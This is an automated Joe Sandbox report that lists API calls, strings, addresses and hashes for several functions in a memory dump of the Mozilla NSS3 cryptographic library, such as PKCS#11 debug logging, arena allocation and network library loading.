Instruction Fuzzy Hash: BB41D8B5602104EFFB00DF55DD48F4B3BB5AB4235CF484026E6096BE61E731A91CCBA6

Function 6CC86960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CC86986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC869B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC869C3

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC869D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CC869FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CC86A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC86A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CC86A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CC86AB9

Strings

pulPartLen = 0x%p, xrefs: 6CC86A42
ulEncryptedPartLen = %d, xrefs: 6CC86A0E
(CK_INVALID_HANDLE), xrefs: 6CC869BC
pPart = 0x%p, xrefs: 6CC86A27
C_DecryptUpdate, xrefs: 6CC86981
hSession = 0x%x, xrefs: 6CC8699E, 6CC869AE
*pulPartLen = 0x%x, xrefs: 6CC86AB4
pEncryptedPart = 0x%p, xrefs: 6CC869F5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 79f599c66e66f2a6e1a1b06d57cb71a010e6b6225fa0dc5ba3ceab3748a5b910
Instruction ID: 479c40c1afcd98b13e0e0a14de8e97cd71c0418902f1fe169bab9fe597c97d83
Opcode Fuzzy Hash: 79f599c66e66f2a6e1a1b06d57cb71a010e6b6225fa0dc5ba3ceab3748a5b910
Instruction Fuzzy Hash: 4841DB75602504EFEB00DF55DD48A8B3FB5AB4235DF088025E609ABA61EB34A84CCBA5

Function 6CC54AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6CC91444,?,?,00000000,?,?), ref: 6CC54BD4

Part of subcall function 6CC90C90: PR_SetError.NSS3(00000000,00000000,6CC91444,?,00000001,?,00000000,00000000,?,?,6CC91444,?,?,00000000,?,?), ref: 6CC90CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC91444), ref: 6CC54B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC54BA5

Part of subcall function 6CCA88E0: TlsGetValue.KERNEL32(00000000,?,?,6CCB08AA,?), ref: 6CCA88F6
Part of subcall function 6CCA88E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CCB08AA,?), ref: 6CCA890B
Part of subcall function 6CCA88E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CCB08AA,?), ref: 6CCA8936
Part of subcall function 6CCA88E0: PR_Unlock.NSS3(?,?,?,?,?,6CCB08AA,?), ref: 6CCA8940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC54DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6CC54B94

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC91444,?), ref: 6CC54BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CC54BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC91444), ref: 6CC54C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC91444), ref: 6CC54C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC54D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CC54D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC54D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC54DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC54E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC54E6C

Part of subcall function 6CC54880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC548A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC54EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC54F02

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: e5747b547c320401fee910c21d7fc8cdf3a8fccf52e039fc8bf077ba32c08cde
Instruction ID: 1783992cc2849052a349b51bc5c7651f309c727e0210a369b5a79c693f06e45e
Opcode Fuzzy Hash: e5747b547c320401fee910c21d7fc8cdf3a8fccf52e039fc8bf077ba32c08cde
Instruction Fuzzy Hash: 56C14BB5E002059FDB00CFA9DC81B9E77F8AF49308F544429E819A7741F771E9358BA6

Function 6CCE28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CCE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CCE5B56

TlsGetValue.KERNEL32 ref: 6CCE290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CCE291E
TlsGetValue.KERNEL32 ref: 6CCE2937
EnterCriticalSection.KERNEL32(00000001), ref: 6CCE294B
PR_EnterMonitor.NSS3(?), ref: 6CCE2966
PR_EnterMonitor.NSS3(?), ref: 6CCE29AC
PR_ExitMonitor.NSS3(?), ref: 6CCE29D1
PR_EnterMonitor.NSS3(?), ref: 6CCE29F0
PR_EnterMonitor.NSS3(?), ref: 6CCE2A15
PR_EnterMonitor.NSS3(?), ref: 6CCE2A37
PR_ExitMonitor.NSS3(?), ref: 6CCE2A61
PR_ExitMonitor.NSS3(?), ref: 6CCE2A78
PR_ExitMonitor.NSS3(?), ref: 6CCE2A8F
PR_ExitMonitor.NSS3(?), ref: 6CCE2AA6

Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD1945B
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD19479
Part of subcall function 6CD19440: EnterCriticalSection.KERNEL32 ref: 6CD19495
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD194E4
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD19532
Part of subcall function 6CD19440: LeaveCriticalSection.KERNEL32 ref: 6CD1955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CCE2AF9
free.MOZGLUE(?), ref: 6CCE2B16
PR_Unlock.NSS3(?), ref: 6CCE2B6D
PR_Unlock.NSS3(?), ref: 6CCE2B80

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 263003eb169ef431b2a3206e9105c7f965e89fe3a2968e919bb46522882904a3
Instruction ID: f7f95a48f0d76c03a2747d017d37b83a4f95dcc79f5b99ddf92797fa10bb449c
Opcode Fuzzy Hash: 263003eb169ef431b2a3206e9105c7f965e89fe3a2968e919bb46522882904a3
Instruction Fuzzy Hash: 0E81D5B1A007015BE7209F35EC55B97B7F9AF49308F044928D95AC7B11FB32E518CB91

Function 6CCA8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8E9E
PORT_ArenaAlloc_Util.NSS3(6CDB0B64,00000001,?,?,?,?,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CCA8E01,00000000,6CCA9060,6CDB0B64), ref: 6CCA8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CCA8E01), ref: 6CCA8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CDB0B64,6CDB0B64), ref: 6CCA8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CCA8F3F

Part of subcall function 6CCAA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CCAA421,00000000,00000000,6CCA9826), ref: 6CCAA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCA904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CCA8E76

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 33a227b3c2a5e6dc7be2add4cc3adbe875332915e11d10e0efd8f2bf931932c1
Instruction ID: 38e517e572fd84ef22a6674e26cabe0755af8d7ebe030c9824cde4ebb7404292
Opcode Fuzzy Hash: 33a227b3c2a5e6dc7be2add4cc3adbe875332915e11d10e0efd8f2bf931932c1
Instruction Fuzzy Hash: 6D617FB5D001069BDB10DF96DC85AABB7B9FF88358F144129DC18A7B50E732A916CBB0

Function 6CC58E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC58E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CC58E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC58EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD818D0,?), ref: 6CC58F03
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC58F19
PL_FreeArenaPool.NSS3(?), ref: 6CC58F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC58F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC58F65
PL_FinishArenaPool.NSS3(?), ref: 6CC58FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CC58FFE
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC59012
PL_FreeArenaPool.NSS3(?), ref: 6CC59024
PL_FinishArenaPool.NSS3(?), ref: 6CC5902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CC5903E

Strings

security, xrefs: 6CC58EE7

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: d62a2269420604291c2e76b684788b7f27adfb038eb8642fe93cb085aab7de9c
Instruction ID: 460a3ae42aa7f0746948f372afa70f9d31b6f3459e1502d4dcb78a0faefbf277
Opcode Fuzzy Hash: d62a2269420604291c2e76b684788b7f27adfb038eb8642fe93cb085aab7de9c
Instruction Fuzzy Hash: 62517BB1648200ABE7108B59DC81FAB73E8AF8974CF84092EF45497B90F371D8398767

Function 6CC84E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CC84E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC84EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84EC7

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC84EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC84F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CC84F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC84F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC84F68

Strings

ulCount = %d, xrefs: 6CC84F63
(CK_INVALID_HANDLE), xrefs: 6CC84EC0, 6CC84F13
C_GetAttributeValue, xrefs: 6CC84E7E
hSession = 0x%x, xrefs: 6CC84EA2, 6CC84EB2
pTemplate = 0x%p, xrefs: 6CC84F4A
hObject = 0x%x, xrefs: 6CC84EF5, 6CC84F05

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: f324c8365db3a04c8182e048d15bedea5c1c8a1e4ef94a693d43f8b61857ec35
Instruction ID: acf4ec869c9ff68a542ddfd0f964ee691521a098ad01a9760d46dcdb3348de45
Opcode Fuzzy Hash: f324c8365db3a04c8182e048d15bedea5c1c8a1e4ef94a693d43f8b61857ec35
Instruction Fuzzy Hash: F841B8B1602144EFEB00DB55DD48F5B7BBDAB4234DF084029E6096BA61E730994CCBB5

Function 6CC84CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CC84CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC84D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84D37

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC84D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC84D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC84DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CC84DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CC84E20

Strings

C_GetObjectSize, xrefs: 6CC84CEE
pulSize = 0x%p, xrefs: 6CC84DB7
*pulSize = 0x%x, xrefs: 6CC84E1B
(CK_INVALID_HANDLE), xrefs: 6CC84D30, 6CC84D83
hSession = 0x%x, xrefs: 6CC84D12, 6CC84D22
hObject = 0x%x, xrefs: 6CC84D65, 6CC84D75

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 52da3455f2279b5a4c531ae8e68df57d8d10fe6b499848e34a9aaf2c85e300d8
Instruction ID: 8aa1a00fa43f5db24463f0fa68b4b5039fda6b3aceaadc00e39ea0e5c13a097b
Opcode Fuzzy Hash: 52da3455f2279b5a4c531ae8e68df57d8d10fe6b499848e34a9aaf2c85e300d8
Instruction Fuzzy Hash: 5A41E7B1602104EFF700DB15DD98B5B7BBDEB4274DF088066E6096BA61EB30984CCBA5

Function 6CC82F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CC82F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC82F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC82F63

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC82F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CC82F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CC82FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CC82FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CC82FE7

Strings

pOldPin = 0x%p, xrefs: 6CC82F95
C_SetPIN, xrefs: 6CC82F21
ulOldLen = %d, xrefs: 6CC82FB0
ulNewLen = %d, xrefs: 6CC82FE2
(CK_INVALID_HANDLE), xrefs: 6CC82F5C
hSession = 0x%x, xrefs: 6CC82F3E, 6CC82F4E
pNewPin = 0x%p, xrefs: 6CC82FC9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: b810ab3fc5ea0fdda041fe7f08e22197d1ba12e8c6ba486deaa0b1bd99207cb1
Instruction ID: 2c4dd80ce26e9e6641c0b30d5078f76d5af186bbd11974c98a49af57c50db896
Opcode Fuzzy Hash: b810ab3fc5ea0fdda041fe7f08e22197d1ba12e8c6ba486deaa0b1bd99207cb1
Instruction Fuzzy Hash: D63106B6602154EFEB00DF55DD4CE4B7BB6EB4634DF084015E908ABBA1EB30980CCBA5

Function 6CC8A9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CC8A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC8A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AA03

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC8AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC8AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC8AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CC8AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CC8AA87

Strings

ulAssociatedDataLen = 0x%p, xrefs: 6CC8AA82
ulParameterLen = 0x%p, xrefs: 6CC8AA50
(CK_INVALID_HANDLE), xrefs: 6CC8A9FC
pParameter = 0x%p, xrefs: 6CC8AA35
C_DecryptMessageBegin, xrefs: 6CC8A9C1
pAssociatedData = 0x%p, xrefs: 6CC8AA69
hSession = 0x%x, xrefs: 6CC8A9DE, 6CC8A9EE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: fc743f0e3157942036672c1d1a1b6e7f3e9f659082689ee9e2ca6ea04bb10525
Instruction ID: 382a2e0cb18291cfd7acf16dc2cf908ba637b3b85c511514b31bbd595fd25015
Opcode Fuzzy Hash: fc743f0e3157942036672c1d1a1b6e7f3e9f659082689ee9e2ca6ea04bb10525
Instruction Fuzzy Hash: 6A31D6B5602144EFEB00DB55DD48B9B7BB6EB8235CF084026E5096BEA1E730985CCBA5

Function 6CD1CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CD1CC7B), ref: 6CD1CD7A

Part of subcall function 6CD1CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC8C1A8,?), ref: 6CD1CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD1CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD1CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CD1CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD1CD8E

Part of subcall function 6CC405C0: PR_EnterMonitor.NSS3 ref: 6CC405D1
Part of subcall function 6CC405C0: PR_ExitMonitor.NSS3 ref: 6CC405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CD1CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD1CDFF
